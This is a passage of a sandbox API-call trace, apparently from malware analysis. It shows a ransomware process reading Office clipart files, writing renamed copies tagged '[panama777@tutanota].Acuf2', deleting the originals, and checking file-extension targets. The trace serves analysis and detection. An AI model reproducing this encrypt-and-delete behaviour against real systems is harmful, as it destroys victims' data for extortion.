	[0267.887] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.887] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.887] SetEndOfFile (hFile=0x274) returned 1
	[0267.887] CloseHandle (hObject=0x274) returned 1
	[0267.887] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.887] SetEndOfFile (hFile=0x35c) returned 1
	[0267.889] CloseHandle (hObject=0x35c) returned 1
	[0267.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0267.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.889] lstrlenW (lpString=".doc") returned 4
	[0267.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString=".docx") returned 5
	[0267.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.890] lstrlenW (lpString=".pdf") returned 4
	[0267.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString=".xls") returned 4
	[0267.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.890] lstrlenW (lpString=".xlsx") returned 5
	[0267.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.890] lstrlenW (lpString=".ppt") returned 4
	[0267.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.890] lstrlenW (lpString=".zip") returned 4
	[0267.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.890] lstrlenW (lpString=".rar") returned 4
	[0267.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString=".bz2") returned 4
	[0267.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString=".7z") returned 3
	[0267.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.890] lstrlenW (lpString=".dbf") returned 4
	[0267.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.890] lstrlenW (lpString=".1cd") returned 4
	[0267.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63
	[0267.890] lstrlenW (lpString=".jpg") returned 4
	[0267.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.891] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7084) returned 1
	[0267.891] CloseHandle (hObject=0x35c) returned 1
	[0267.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20
	[0267.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0267.891] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.891] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0267.891] GetLastError () returned 0x0
	[0267.891] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1bac, lpOverlapped=0x0) returned 1
	[0267.900] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1bb0, lpOverlapped=0x0) returned 1
	[0267.901] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.901] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.901] SetEndOfFile (hFile=0x274) returned 1
	[0267.901] CloseHandle (hObject=0x274) returned 1
	[0267.901] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.901] SetEndOfFile (hFile=0x35c) returned 1
	[0267.903] CloseHandle (hObject=0x35c) returned 1
	[0267.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0267.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.903] lstrlenW (lpString=".doc") returned 4
	[0267.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.903] lstrlenW (lpString=".docx") returned 5
	[0267.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.903] lstrlenW (lpString=".pdf") returned 4
	[0267.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.903] lstrlenW (lpString=".xls") returned 4
	[0267.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.904] lstrlenW (lpString=".xlsx") returned 5
	[0267.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.904] lstrlenW (lpString=".ppt") returned 4
	[0267.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.904] lstrlenW (lpString=".zip") returned 4
	[0267.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.904] lstrlenW (lpString=".rar") returned 4
	[0267.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.904] lstrlenW (lpString=".bz2") returned 4
	[0267.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.904] lstrlenW (lpString=".7z") returned 3
	[0267.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.904] lstrlenW (lpString=".dbf") returned 4
	[0267.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.904] lstrlenW (lpString=".1cd") returned 4
	[0267.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63
	[0267.904] lstrlenW (lpString=".jpg") returned 4
	[0267.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.029] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2848) returned 1
	[0268.029] CloseHandle (hObject=0x360) returned 1
	[0268.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20
	[0268.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.070] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.070] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0268.071] GetLastError () returned 0x0
	[0268.071] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb20, lpOverlapped=0x0) returned 1
	[0268.079] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xb30, lpOverlapped=0x0) returned 1
	[0268.080] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.080] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.080] SetEndOfFile (hFile=0x220) returned 1
	[0268.080] CloseHandle (hObject=0x220) returned 1
	[0268.080] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.080] SetEndOfFile (hFile=0x334) returned 1
	[0268.082] CloseHandle (hObject=0x334) returned 1
	[0268.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0268.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.084] lstrlenW (lpString=".doc") returned 4
	[0268.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString=".docx") returned 5
	[0268.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.084] lstrlenW (lpString=".pdf") returned 4
	[0268.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString=".xls") returned 4
	[0268.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.084] lstrlenW (lpString=".xlsx") returned 5
	[0268.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.084] lstrlenW (lpString=".ppt") returned 4
	[0268.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.084] lstrlenW (lpString=".zip") returned 4
	[0268.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.084] lstrlenW (lpString=".rar") returned 4
	[0268.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString=".bz2") returned 4
	[0268.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString=".7z") returned 3
	[0268.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.084] lstrlenW (lpString=".dbf") returned 4
	[0268.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.085] lstrlenW (lpString=".1cd") returned 4
	[0268.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63
	[0268.085] lstrlenW (lpString=".jpg") returned 4
	[0268.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.103] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7340) returned 1
	[0268.103] CloseHandle (hObject=0x370) returned 1
	[0268.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20
	[0268.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.133] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.133] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.134] GetLastError () returned 0x0
	[0268.134] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1cac, lpOverlapped=0x0) returned 1
	[0268.146] WriteFile (in: hFile=0x368, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1cb0, lpOverlapped=0x0) returned 1
	[0268.147] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.147] WriteFile (in: hFile=0x368, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.147] SetEndOfFile (hFile=0x368) returned 1
	[0268.147] CloseHandle (hObject=0x368) returned 1
	[0268.147] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.147] SetEndOfFile (hFile=0x274) returned 1
	[0268.170] CloseHandle (hObject=0x274) returned 1
	[0268.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0268.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.171] lstrlenW (lpString=".doc") returned 4
	[0268.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.171] lstrlenW (lpString=".docx") returned 5
	[0268.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.171] lstrlenW (lpString=".pdf") returned 4
	[0268.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.171] lstrlenW (lpString=".xls") returned 4
	[0268.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.171] lstrlenW (lpString=".xlsx") returned 5
	[0268.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.171] lstrlenW (lpString=".ppt") returned 4
	[0268.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.171] lstrlenW (lpString=".zip") returned 4
	[0268.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.171] lstrlenW (lpString=".rar") returned 4
	[0268.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.171] lstrlenW (lpString=".bz2") returned 4
	[0268.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.171] lstrlenW (lpString=".7z") returned 3
	[0268.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.172] lstrlenW (lpString=".dbf") returned 4
	[0268.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.172] lstrlenW (lpString=".1cd") returned 4
	[0268.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63
	[0268.172] lstrlenW (lpString=".jpg") returned 4
	[0268.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.177] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.177] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.179] GetLastError () returned 0x0
	[0268.179] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xa38, lpOverlapped=0x0) returned 1
	[0268.186] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xa40, lpOverlapped=0x0) returned 1
	[0268.187] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.187] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.187] SetEndOfFile (hFile=0x274) returned 1
	[0268.187] CloseHandle (hObject=0x274) returned 1
	[0268.188] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.188] SetEndOfFile (hFile=0x370) returned 1
	[0268.190] CloseHandle (hObject=0x370) returned 1
	[0268.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1
	[0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.193] lstrlenW (lpString=".doc") returned 4
	[0268.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.193] lstrlenW (lpString=".docx") returned 5
	[0268.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.193] lstrlenW (lpString=".pdf") returned 4
	[0268.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.193] lstrlenW (lpString=".xls") returned 4
	[0268.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.194] lstrlenW (lpString=".xlsx") returned 5
	[0268.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.194] lstrlenW (lpString=".ppt") returned 4
	[0268.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.194] lstrlenW (lpString=".zip") returned 4
	[0268.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.194] lstrlenW (lpString=".rar") returned 4
	[0268.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.194] lstrlenW (lpString=".bz2") returned 4
	[0268.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.194] lstrlenW (lpString=".7z") returned 3
	[0268.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.194] lstrlenW (lpString=".dbf") returned 4
	[0268.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.194] lstrlenW (lpString=".1cd") returned 4
	[0268.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63
	[0268.194] lstrlenW (lpString=".jpg") returned 4
	[0268.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
